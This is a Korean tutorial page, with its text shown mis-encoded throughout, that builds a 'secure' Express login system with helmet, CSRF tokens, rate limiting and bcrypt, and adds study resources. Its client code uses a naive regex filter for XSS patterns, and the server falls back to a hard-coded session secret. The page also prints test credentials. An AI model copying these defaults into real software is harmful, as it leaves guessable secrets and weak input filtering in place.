๐Ÿ“ ํ”„๋กœ์ ํŠธ ๊ตฌ์กฐ

secure-login/
โ”œโ”€โ”€ server/
โ”‚   โ”œโ”€โ”€ server.js          # Express ์„œ๋ฒ„
โ”‚   โ”œโ”€โ”€ middleware/
โ”‚   โ”‚   โ”œโ”€โ”€ auth.js        # ์ธ์ฆ ๋ฏธ๋“ค์›จ์–ด
โ”‚   โ”‚   โ””โ”€โ”€ security.js    # ๋ณด์•ˆ ๋ฏธ๋“ค์›จ์–ด
โ”‚   โ””โ”€โ”€ routes/
โ”‚       โ””โ”€โ”€ auth.js        # ์ธ์ฆ ๋ผ์šฐํŠธ
โ”œโ”€โ”€ client/
โ”‚   โ”œโ”€โ”€ index.html
โ”‚   โ”œโ”€โ”€ login.js
โ”‚   โ””โ”€โ”€ styles.css
โ””โ”€โ”€ package.json

๐Ÿ”ง ์„œ๋ฒ„ ๊ตฌํ˜„ (server.js)

// server.js
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const session = require('express-session');
const bcrypt = require('bcrypt');
const { body, validationResult } = require('express-validator');

const app = express();

// ๋ณด์•ˆ ๋ฏธ๋“ค์›จ์–ด
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
    },
  },
}));

// Rate limiting
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: '๋กœ๊ทธ์ธ ์‹œ๋„๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์Šต๋‹ˆ๋‹ค. 15๋ถ„ ํ›„ ๋‹ค์‹œ ์‹œ๋„ํ•ด์ฃผ์„ธ์š”.',
});

// Body parser
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(cookieParser());

// ์„ธ์…˜ ์„ค์ •
app.use(session({
  secret: process.env.SESSION_SECRET || 'your-secret-key',
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict',
    maxAge: 3600000 // 1์‹œ๊ฐ„
  }
}));

// CSRF ๋ณดํ˜ธ
const csrfProtection = csrf({ cookie: true });

// ์ •์  ํŒŒ์ผ ์ œ๊ณต
app.use(express.static('client'));

// CSRF ํ† ํฐ ๋ฐœ๊ธ‰
app.get('/api/csrf-token', csrfProtection, (req, res) => {
  res.json({ csrfToken: req.csrfToken() });
});

// ๋กœ๊ทธ์ธ ๋ผ์šฐํŠธ
app.post('/api/login',
  loginLimiter,
  csrfProtection,
  [
    body('username')
      .trim()
      .isLength({ min: 3, max: 20 })
      .escape()
      .withMessage('์‚ฌ์šฉ์ž๋ช…์€ 3-20์ž์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.'),
    body('password')
      .isLength({ min: 8 })
      .withMessage('๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ตœ์†Œ 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.'),
  ],
  async (req, res) => {
    // ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    const { username, password } = req.body;

    try {
      // ์‹ค์ œ๋กœ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ์กฐํšŒ
      const user = await findUserByUsername(username);
      
      if (!user) {
        return res.status(401).json({ 
          error: '์‚ฌ์šฉ์ž๋ช… ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.' 
        });
      }

      // ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ
      const isValid = await bcrypt.compare(password, user.passwordHash);
      
      if (!isValid) {
        return res.status(401).json({ 
          error: '์‚ฌ์šฉ์ž๋ช… ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.' 
        });
      }

      // ์„ธ์…˜ ์ƒ์„ฑ
      req.session.userId = user.id;
      req.session.username = user.username;

      res.json({ 
        success: true, 
        message: '๋กœ๊ทธ์ธ ์„ฑ๊ณต!',
        user: {
          id: user.id,
          username: user.username
        }
      });
    } catch (error) {
      console.error('๋กœ๊ทธ์ธ ์˜ค๋ฅ˜:', error);
      res.status(500).json({ error: '์„œ๋ฒ„ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.' });
    }
  }
);

// ๋กœ๊ทธ์•„์›ƒ
app.post('/api/logout', csrfProtection, (req, res) => {
  req.session.destroy(err => {
    if (err) {
      return res.status(500).json({ error: '๋กœ๊ทธ์•„์›ƒ ์‹คํŒจ' });
    }
    res.clearCookie('connect.sid');
    res.json({ success: true, message: '๋กœ๊ทธ์•„์›ƒ ์„ฑ๊ณต' });
  });
});

// ์ธ์ฆ ํ™•์ธ
app.get('/api/me', (req, res) => {
  if (!req.session.userId) {
    return res.status(401).json({ error: '์ธ์ฆ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.' });
  }
  
  res.json({
    id: req.session.userId,
    username: req.session.username
  });
});

// ๋”๋ฏธ ์‚ฌ์šฉ์ž ์ฐพ๊ธฐ ํ•จ์ˆ˜ (์‹ค์ œ๋กœ๋Š” DB ์กฐํšŒ)
async function findUserByUsername(username) {
  // ์˜ˆ์‹œ: bcrypt.hash('password123', 10)์œผ๋กœ ์ƒ์„ฑ๋œ ํ•ด์‹œ
  const users = {
    'testuser': {
      id: 1,
      username: 'testuser',
      passwordHash: '$2b$10$...' // ์‹ค์ œ ํ•ด์‹œ๊ฐ’
    }
  };
  
  return users[username] || null;
}

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`๐Ÿš€ ์„œ๋ฒ„ ์‹œ์ž‘: http://localhost:${PORT}`);
  console.log('โœ… ๋ณด์•ˆ ์„ค์ • ์™„๋ฃŒ!');
});

๐Ÿ’ป ํด๋ผ์ด์–ธํŠธ ๊ตฌํ˜„ (login.js)

// login.js
class SecureLoginForm {
  constructor() {
    this.csrfToken = null;
    this.init();
  }

  async init() {
    await this.fetchCsrfToken();
    this.setupEventListeners();
  }

  // CSRF ํ† ํฐ ๊ฐ€์ ธ์˜ค๊ธฐ
  async fetchCsrfToken() {
    try {
      const response = await fetch('/api/csrf-token', {
        credentials: 'include'
      });
      const data = await response.json();
      this.csrfToken = data.csrfToken;
      console.log('โœ… CSRF ํ† ํฐ ๋ฐœ๊ธ‰ ์™„๋ฃŒ');
    } catch (error) {
      console.error('CSRF ํ† ํฐ ๊ฐ€์ ธ์˜ค๊ธฐ ์‹คํŒจ:', error);
    }
  }

  setupEventListeners() {
    const loginForm = document.getElementById('loginForm');
    loginForm.addEventListener('submit', (e) => this.handleLogin(e));
  }

  // ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ (ํด๋ผ์ด์–ธํŠธ ์ธก)
  validateInput(username, password) {
    const errors = [];

    // ์‚ฌ์šฉ์ž๋ช… ๊ฒ€์ฆ
    if (username.length < 3 || username.length > 20) {
      errors.push('์‚ฌ์šฉ์ž๋ช…์€ 3-20์ž์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.');
    }

    // XSS ํŒจํ„ด ๊ฒ€์‚ฌ
    const xssPattern = /<script|javascript:|on\w+=/i;
    if (xssPattern.test(username) || xssPattern.test(password)) {
      errors.push('ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.');
    }

    // ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์ฆ
    if (password.length < 8) {
      errors.push('๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์ตœ์†Œ 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.');
    }

    return errors;
  }

  // ๋กœ๊ทธ์ธ ์ฒ˜๋ฆฌ
  async handleLogin(event) {
    event.preventDefault();

    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;

    // ํด๋ผ์ด์–ธํŠธ ์ธก ๊ฒ€์ฆ
    const errors = this.validateInput(username, password);
    if (errors.length > 0) {
      this.showError(errors.join('<br>'));
      return;
    }

    try {
      const response = await fetch('/api/login', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': this.csrfToken, // CSRF ํ† ํฐ ํฌํ•จ
        },
        credentials: 'include', // ์ฟ ํ‚ค ํฌํ•จ
        body: JSON.stringify({ username, password })
      });

      const data = await response.json();

      if (response.ok) {
        this.showSuccess('๋กœ๊ทธ์ธ ์„ฑ๊ณต! ๐ŸŽ‰');
        // ๋Œ€์‹œ๋ณด๋“œ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ
        setTimeout(() => {
          window.location.href = '/dashboard';
        }, 1000);
      } else {
        this.showError(data.error || '๋กœ๊ทธ์ธ ์‹คํŒจ');
      }
    } catch (error) {
      console.error('๋กœ๊ทธ์ธ ์˜ค๋ฅ˜:', error);
      this.showError('์„œ๋ฒ„์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.');
    }
  }

  // ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ํ‘œ์‹œ (XSS ๋ฐฉ์ง€)
  showError(message) {
    const errorDiv = document.getElementById('errorMessage');
    // textContent ์‚ฌ์šฉ์œผ๋กœ XSS ๋ฐฉ์ง€!
    errorDiv.textContent = message;
    errorDiv.style.display = 'block';
    errorDiv.className = 'error';
  }

  // ์„ฑ๊ณต ๋ฉ”์‹œ์ง€ ํ‘œ์‹œ
  showSuccess(message) {
    const errorDiv = document.getElementById('errorMessage');
    errorDiv.textContent = message;
    errorDiv.style.display = 'block';
    errorDiv.className = 'success';
  }
}

// ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ ์ดˆ๊ธฐํ™”
document.addEventListener('DOMContentLoaded', () => {
  new SecureLoginForm();
});

๐ŸŽจ HTML (index.html)

<!DOCTYPE html>
<html lang="ko">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>๋ณด์•ˆ ๋กœ๊ทธ์ธ</title>
  <link rel="stylesheet" href="styles.css">
</head>
<body>
  <div class="container">
    <h1>๐Ÿ” ๋ณด์•ˆ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ</h1>
    
    <div class="security-badges">
      <span class="badge">โœ… XSS ๋ฐฉ์–ด</span>
      <span class="badge">โœ… CSRF ๋ฐฉ์–ด</span>
      <span class="badge">โœ… Rate Limiting</span>
    </div>

    <form id="loginForm">
      <div class="form-group">
        <label for="username">์‚ฌ์šฉ์ž๋ช…</label>
        <input 
          type="text" 
          id="username" 
          name="username" 
          required 
          minlength="3"
          maxlength="20"
          autocomplete="username"
        >
      </div>

      <div class="form-group">
        <label for="password">๋น„๋ฐ€๋ฒˆํ˜ธ</label>
        <input 
          type="password" 
          id="password" 
          name="password" 
          required 
          minlength="8"
          autocomplete="current-password"
        >
      </div>

      <div id="errorMessage" style="display:none;"></div>

      <button type="submit">๋กœ๊ทธ์ธ</button>
    </form>

    <div class="info">
      <p>ํ…Œ์ŠคํŠธ ๊ณ„์ •: testuser / password123</p>
    </div>
  </div>

  <script src="login.js"></script>
</body>
</html>
โœ… ์ด ํ”„๋กœ์ ํŠธ์— ์ ์šฉ๋œ ๋ณด์•ˆ ๊ธฐ๋ฒ• 1๏ธโƒฃ XSS ๋ฐฉ์–ด: textContent ์‚ฌ์šฉ, ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ, CSP ํ—ค๋”
2๏ธโƒฃ CSRF ๋ฐฉ์–ด: CSRF ํ† ํฐ, SameSite ์ฟ ํ‚ค
3๏ธโƒฃ Rate Limiting: ๋กœ๊ทธ์ธ ์‹œ๋„ ์ œํ•œ
4๏ธโƒฃ ์•ˆ์ „ํ•œ ์„ธ์…˜: HttpOnly, Secure ์ฟ ํ‚ค
5๏ธโƒฃ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณด์•ˆ: bcrypt ํ•ด์‹ฑ
6๏ธโƒฃ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ: ํด๋ผ์ด์–ธํŠธ + ์„œ๋ฒ„ ์–‘์ชฝ ๊ฒ€์ฆ
7๏ธโƒฃ ๋ณด์•ˆ ํ—ค๋”: Helmet.js ์‚ฌ์šฉ

๐Ÿ“š ์ถ”๊ฐ€ ํ•™์Šต ๋ฆฌ์†Œ์Šค ๋ฐ ์ฐธ๊ณ ์ž๋ฃŒ

๐ŸŒ ๊ณต์‹ ๋ฌธ์„œ ๋ฐ ๊ฐ€์ด๋“œ

OWASP (Open Web Application Security Project) โ†’ https://owasp.org
์›น ๋ณด์•ˆ์˜ ๋ฐ”์ด๋ธ”! OWASP Top 10์€ ํ•„์ˆ˜๋กœ ์ฝ์–ด๋ด์•ผ ํ•ด.

MDN Web Security
โ†’ https://developer.mozilla.org/ko/docs/Web/Security
Mozilla์˜ ๊ณต์‹ ๋ณด์•ˆ ๋ฌธ์„œ. ์˜ˆ์ œ ์ฝ”๋“œ๊ฐ€ ํ’๋ถ€ํ•ด!

Node.js Security Best Practices
โ†’ https://nodejs.org/en/docs/guides/security
Node.js ๊ณต์‹ ๋ณด์•ˆ ๊ฐ€์ด๋“œ๋ผ์ธ.

๐Ÿ› ๏ธ ์œ ์šฉํ•œ ๋„๊ตฌ ๋ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์šฉ๋„ ์„ค์น˜ ๋ช…๋ น์–ด
DOMPurify HTML ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜ npm install dompurify
Helmet ๋ณด์•ˆ ํ—ค๋” ์„ค์ • npm install helmet
csurf CSRF ํ† ํฐ ์ƒ์„ฑ npm install csurf
express-rate-limit Rate limiting npm install express-rate-limit
express-validator ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ npm install express-validator
bcrypt ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹ฑ npm install bcrypt

๐Ÿ“– ์ถ”์ฒœ ๋„์„œ

๐Ÿ“• "The Web Application Hacker's Handbook" ์›น ํ•ดํ‚น์˜ ๋ชจ๋“  ๊ฒƒ์„ ๋‹ค๋ฃฌ ๋ฐ”์ด๋ธ”. ๊ณต๊ฒฉ์ž์˜ ๊ด€์ ์„ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์–ด!

๐Ÿ“— "Node.js Secure Coding"
Node.js ๋ณด์•ˆ ์ฝ”๋”ฉ ํŒจํ„ด์„ ๋ฐฐ์šธ ์ˆ˜ ์žˆ๋Š” ์‹ค์ „์„œ.

๐Ÿ“˜ "OWASP Testing Guide"
๋ฌด๋ฃŒ! OWASP์—์„œ ์ œ๊ณตํ•˜๋Š” ๋ณด์•ˆ ํ…Œ์ŠคํŒ… ๊ฐ€์ด๋“œ.

๐ŸŽ“ ์˜จ๋ผ์ธ ๊ฐ•์˜ ๋ฐ ์ปค๋ฎค๋‹ˆํ‹ฐ

์žฌ๋Šฅ๋„ท (https://www.jaenung.net) ์›น ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์ด ์‹ค์ „ ๊ฒฝํ—˜์„ ๊ณต์œ ํ•˜๋Š” ํ”Œ๋žซํผ!
JavaScript ๋ณด์•ˆ ๊ด€๋ จ ๊ฐ•์˜๋‚˜ ๋ฉ˜ํ† ๋ง์„ ์ฐพ์•„๋ณด๋ฉด ๋„์›€์ด ๋งŽ์ด ๋  ๊ฑฐ์•ผ. ๐Ÿ’ก

PortSwigger Web Security Academy
๋ฌด๋ฃŒ ์›น ๋ณด์•ˆ ์‹ค์Šต ํ”Œ๋žซํผ. ์‹ค์ œ๋กœ ์ทจ์•ฝ์ ์„ ๊ณต๊ฒฉํ•ด๋ณด๋ฉด์„œ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์–ด!

HackerOne / Bugcrowd
๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ”Œ๋žซํผ. ์‹ค์ œ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ๋ณด์ƒ๋„ ๋ฐ›์„ ์ˆ˜ ์žˆ์ง€!
๋ณด์•ˆ ํ•™์Šต ๋กœ๋“œ๋งต ๊ธฐ์ดˆ HTML/CSS/JS ๋ณด์•ˆ ๊ฐœ๋… XSS/CSRF ์‹ค์ „ ๊ตฌํ˜„ ํ”„๋กœ์ ํŠธ ์ „๋ฌธ๊ฐ€ ๋ฒ„๊ทธ๋ฐ”์šดํ‹ฐ 1๋‹จ๊ณ„ (1-2๊ฐœ์›”) โ€ข JavaScript ๊ธฐ์ดˆ โ€ข HTTP ํ”„๋กœํ† ์ฝœ โ€ข ์ฟ ํ‚ค/์„ธ์…˜ ์ดํ•ด โ€ข DOM ์กฐ์ž‘ 2๋‹จ๊ณ„ (2-3๊ฐœ์›”) โ€ข OWASP Top 10 โ€ข XSS ๊ณต๊ฒฉ ์‹ค์Šต โ€ข CSRF ๋ฐฉ์–ด ๊ตฌํ˜„ โ€ข ๋ณด์•ˆ ๋„๊ตฌ ์‚ฌ์šฉ 3๋‹จ๊ณ„ (3-6๊ฐœ์›”) โ€ข ์‹ค์ „ ํ”„๋กœ์ ํŠธ โ€ข ๋ณด์•ˆ ํ…Œ์ŠคํŠธ โ€ข ์ฝ”๋“œ ๋ฆฌ๋ทฐ โ€ข ํฌํŠธํด๋ฆฌ์˜ค ์ž‘์„ฑ 4๋‹จ๊ณ„ (์ง€์†์ ) โ€ข ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ โ€ข ๋ณด์•ˆ ์ปจ์„คํŒ… โ€ข ์ปค๋ฎค๋‹ˆํ‹ฐ ํ™œ๋™ โ€ข ์ตœ์‹  ํŠธ๋ Œ๋“œ ํ•™์Šต

๐ŸŽฏ ๋งˆ๋ฌด๋ฆฌ: ๋ณด์•ˆ์€ ์„ ํƒ์ด ์•„๋‹Œ ํ•„์ˆ˜!

์ž, ์—ฌ๊ธฐ๊นŒ์ง€ JavaScript ๋ณด์•ˆ์— ๋Œ€ํ•ด ์—„์ฒญ ๋งŽ์€ ๊ฑธ ๋ฐฐ์› ์–ด! ๐Ÿ˜…
XSS, CSRF ๊ณต๊ฒฉ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์„œ ์‹ค์ „ ๋ฐฉ์–ด ๊ธฐ๋ฒ•, ํ”„๋ ˆ์ž„์›Œํฌ๋ณ„ ๋ณด์•ˆ ์„ค์ •,
๊ทธ๋ฆฌ๊ณ  ์™„์ „ํ•œ ๋ณด์•ˆ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ๊นŒ์ง€ ๋งŒ๋“ค์–ด๋ดค์ž–์•„?

์†”์งํžˆ ์ฒ˜์Œ์—” ๋ณต์žกํ•ด ๋ณด์ผ ์ˆ˜ ์žˆ์–ด.
"์ด๊ฑธ ๋‹ค ํ•ด์•ผ ํ•ด?" ์‹ถ์„ ์ˆ˜๋„ ์žˆ๊ณ .
ํ•˜์ง€๋งŒ ํ•œ ๋ฒˆ ์ œ๋Œ€๋กœ ์ตํ˜€๋‘๋ฉด ํ‰์ƒ ์จ๋จน์„ ์ˆ˜ ์žˆ๋Š” ์Šคํ‚ฌ์ด์•ผ! ๐Ÿ’ช

โœ… ์˜ค๋Š˜ ๋ฐฐ์šด ํ•ต์‹ฌ ๋‚ด์šฉ ์ •๋ฆฌ 1. XSS ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ†’ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ, textContent ์‚ฌ์šฉ, DOMPurify, CSP ์„ค์ •

2. CSRF ๊ณต๊ฒฉ ๋ฐฉ์–ด
โ†’ CSRF ํ† ํฐ, SameSite ์ฟ ํ‚ค, Referer ๊ฒ€์ฆ

3. ์ถ”๊ฐ€ ๋ณด์•ˆ ์กฐ์น˜
โ†’ HTTPS, Rate Limiting, ๋ณด์•ˆ ํ—ค๋”, ์˜์กด์„ฑ ๊ด€๋ฆฌ

4. ํ”„๋ ˆ์ž„์›Œํฌ๋ณ„ ๋ณด์•ˆ
โ†’ React, Vue, Angular, Node.js ๊ฐ๊ฐ์˜ Best Practices

5. ์‹ค์ „ ํ”„๋กœ์ ํŠธ
โ†’ ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋œ ๋กœ๊ทธ์ธ ์‹œ์Šคํ…œ ๊ตฌํ˜„

๐Ÿ’ก ์‹ค๋ฌด์—์„œ ๊ธฐ์–ตํ•ด์•ผ ํ•  ๊ฒƒ๋“ค

โš ๏ธ ๋ณด์•ˆ์€ ํ•œ ๋ฒˆ์— ๋๋‚˜์ง€ ์•Š์•„! ๋ณด์•ˆ์€ ์ง€์†์ ์ธ ํ”„๋กœ์„ธ์Šค์•ผ.
์ƒˆ๋กœ์šด ์ทจ์•ฝ์ ์€ ๊ณ„์† ๋ฐœ๊ฒฌ๋˜๊ณ , ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๋„ ์ง„ํ™”ํ•ด.
๊ทธ๋ž˜์„œ ํ•ญ์ƒ ์ตœ์‹  ํŠธ๋ Œ๋“œ๋ฅผ ๋”ฐ๋ผ๊ฐ€๊ณ , ์ •๊ธฐ์ ์œผ๋กœ ์ ๊ฒ€ํ•ด์•ผ ํ•ด!

๋ณด์•ˆ ์ฒดํฌ๋ฆฌ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค์–ด์„œ ํ”„๋กœ์ ํŠธ๋งˆ๋‹ค ํ™•์ธํ•˜๋Š” ์Šต๊ด€์„ ๋“ค์ด์ž! โœ…

๐Ÿš€ ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ๋‚˜์•„๊ฐ€๊ธฐ

์ด์ œ ๋„ˆ๋Š” JavaScript ๋ณด์•ˆ์˜ ๊ธฐ์ดˆ๋ฅผ ํƒ„ํƒ„ํ•˜๊ฒŒ ๋‹ค์กŒ์–ด!
๋‹ค์Œ ๋‹จ๊ณ„๋กœ๋Š” ์ด๋Ÿฐ ๊ฒƒ๋“ค์„ ๊ณต๋ถ€ํ•ด๋ณด๋ฉด ์ข‹์•„:

๐ŸŽ“ ์‹ฌํ™” ํ•™์Šต ์ฃผ์ œ 1๏ธโƒฃ OAuth 2.0 / JWT ์ธ์ฆ
โ†’ ํ˜„๋Œ€์ ์ธ ์ธ์ฆ ๋ฐฉ์‹ ๋งˆ์Šคํ„ฐํ•˜๊ธฐ

2๏ธโƒฃ SQL Injection ๋ฐฉ์–ด
โ†’ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ณด์•ˆ ๊ฐ•ํ™”

3๏ธโƒฃ API ๋ณด์•ˆ
โ†’ RESTful API, GraphQL ๋ณด์•ˆ

4๏ธโƒฃ ์ปจํ…Œ์ด๋„ˆ ๋ณด์•ˆ
โ†’ Docker, Kubernetes ๋ณด์•ˆ ์„ค์ •

5๏ธโƒฃ ํด๋ผ์šฐ๋“œ ๋ณด์•ˆ
โ†’ AWS, Azure, GCP ๋ณด์•ˆ Best Practices

๐ŸŒŸ ๋งˆ์ง€๋ง‰ ์กฐ์–ธ

๋ณด์•ˆ์€ ๋ฌด์„ญ๊ฑฐ๋‚˜ ์–ด๋ ค์šด ๊ฒŒ ์•„๋‹ˆ์•ผ.
๊ทธ๋ƒฅ ์‚ฌ์šฉ์ž๋ฅผ ๋ณดํ˜ธํ•˜๊ณ  ์‹ถ์€ ๋งˆ์Œ์—์„œ ์‹œ์ž‘ํ•˜๋Š” ๊ฑฐ์•ผ. โค๏ธ

๋„ˆ๊ฐ€ ๋งŒ๋“  ์›น์‚ฌ์ดํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ๋žŒ๋“ค์ด
์•ˆ์ „ํ•˜๊ฒŒ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฒƒ.
๊ทธ๊ฒŒ ๋ฐ”๋กœ ๊ฐœ๋ฐœ์ž์˜ ์ฑ…์ž„์ด์ž ์ž๋ถ€์‹ฌ์ด์ง€!

์žฌ๋Šฅ๋„ท ๊ฐ™์€ ํ”Œ๋žซํผ์—์„œ ํ”„๋กœ์ ํŠธ๋ฅผ ์ง„ํ–‰ํ•  ๋•Œ๋„,
"์ €๋Š” ๋ณด์•ˆ์„ ์ค‘์š”ํ•˜๊ฒŒ ์ƒ๊ฐํ•˜๋Š” ๊ฐœ๋ฐœ์ž์ž…๋‹ˆ๋‹ค"๋ผ๊ณ  ๋งํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด
ํด๋ผ์ด์–ธํŠธ์˜ ์‹ ๋ขฐ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์„ ๊ฑฐ์•ผ. ๐Ÿ’ผ

์ž, ์ด์ œ ๋‚˜๊ฐ€์„œ ์•ˆ์ „ํ•œ ์›น์„ ๋งŒ๋“ค์–ด๋ณด์ž!
ํ™”์ดํŒ…! ๐Ÿš€โœจ

๐ŸŽ‰ ์ถ•ํ•˜ํ•ฉ๋‹ˆ๋‹ค!

JavaScript ๋ณด์•ˆ ๋งˆ์Šคํ„ฐ ๊ณผ์ •์„ ์™„๋ฃŒํ–ˆ์Šต๋‹ˆ๋‹ค!
์ด์ œ ๋‹น์‹ ์€ XSS์™€ CSRF ๊ณต๊ฒฉ์„ ๋ง‰์„ ์ˆ˜ ์žˆ๋Š”
์ง„์ •ํ•œ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€์ž…๋‹ˆ๋‹ค! ๐Ÿ›ก๏ธ

Keep Learning, Stay Secure! ๐Ÿ’ช
๋Œ“๊ธ€ ์ž‘์„ฑ

์ด ๊ธ€์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ๊ฐ์„ ๋“ค๋ ค์ฃผ์„ธ์š”

๋Œ“๊ธ€ 0
๋Œ“๊ธ€์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘์ž…๋‹ˆ๋‹ค.

์•„์ง ๋Œ“๊ธ€์ด ์—†์Šต๋‹ˆ๋‹ค.